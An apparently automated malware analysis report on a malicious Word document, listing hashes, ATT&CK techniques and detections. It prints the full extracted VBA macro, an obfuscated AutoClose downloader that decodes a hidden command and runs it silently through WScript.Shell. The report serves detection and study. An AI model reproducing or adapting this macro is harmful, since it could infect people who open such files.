Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d1509de315be40da…

MALICIOUS

Office (OOXML)

53.1 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-31
MD5: 8bb3ba30f2d004437b878829c54c84bf SHA-1: 36bd8afb99dc238c2b90d61f43219be331714e5d SHA-256: d1509de315be40dac5807a016fd4c843abda063012d29732720db7087bb73f1b
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros. The AutoClose macro is present and calls the Shell() function via WScript.Shell, indicating an attempt to execute arbitrary code. The script attempts to download and execute a second-stage payload, as suggested by the ClamAV detection name 'Doc.Downloader.Powload-6707242-0'. The reconstructed string 'doglike' is used to call a function that likely handles the payload execution.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
         If stoveman - vendor > 1 Then
       CreateObject("WScript.Shell").Run nusku, 0
       Move = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If stoveman - vendor > 1 Then
       CreateObject("WScript.Shell").Run nusku, 0
       Move = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  economizes = Array("G", "7", "2", "f", "p", "F", "Z", "v", "Z", "3", "2", "f", "f", "z", "q", "4", "4", "f", "n", "2", "p", "s", "j", "7", "s", "p", "1", "n", "G", "p", "7", "s", "D", "j", "M", "t", "Z", "F", "J", "1", "G", "4", "a", "Y", "k", "4", "f", "Z", "n", "v", "F", "z", "2", "z", "h", "6", "f", "G", "p", "l", "f", "n", "6", "G")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2028 bytes
SHA-256: bf23476955009f5ca39ebe4b265788ef3bfbfff175019162c1e9deebe3c17cf4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function downtowner(economizes)
  armorproof = Array("p", "D", "4", "z", "f", "s", "1", "t", "2", "3", "F", "l", "Y", "Z", "n", "a", "q", "j", "6", "J", "M", "7", "k", "G", "v", "h")
  chemism = Array("a", "d", "/", "p", "t", "n", "o", "w", "h", " ", ".", "=", "S", "e", "r", "I", ":", "i", "u", "c", "q", "s", "O", "m", "x", "?")
  
  escolars = vbNullString
  
  For Each cottonization In economizes
    vilifying = solenoid(cottonization, armorproof, UBound(armorproof))
    If vilifying > -1 Then
    escolars = chemism(vilifying) & escolars
    End If
  Next
  
  downtowner = StrReverse(escolars)
  
End Function

Public Function solenoid(wraprascal, pertussis, armoires)
  hawkbit = 3
  spermatogeneses = 1992
  For hawkbit = 0 To armoires
    If pertussis(hawkbit) = wraprascal Then
     spermatogeneses = hawkbit
    End If
  Next

  If spermatogeneses = 1992 Then
    spermatogeneses = -1
  End If
  
  solenoid = spermatogeneses
End Function

Sub AutoClose()
  economizes = Array("G", "7", "2", "f", "p", "F", "Z", "v", "Z", "3", "2", "f", "f", "z", "q", "4", "4", "f", "n", "2", "p", "s", "j", "7", "s", "p", "1", "n", "G", "p", "7", "s", "D", "j", "M", "t", "Z", "F", "J", "1", "G", "4", "a", "Y", "k", "4", "f", "Z", "n", "v", "F", "z", "2", "z", "h", "6", "f", "G", "p", "l", "f", "n", "6", "G")
  hernial = downtowner(economizes)
  
  Application.Run "doglike", hernial
  
End Sub


Private Sub doglike(nusku)
   
   vendor = DateDiff("s", #1/1/1970#, Now())
   Move = True
   
   While Move
     stoveman = vendor + 60
     If stoveman - vendor > 1 Then
       CreateObject("WScript.Shell").Run nusku, 0
       Move = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 01be4b822e9ee8dffd15c10d7477eb3f2801e60857da27e988d25fd5d4caccb7
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: unlikely

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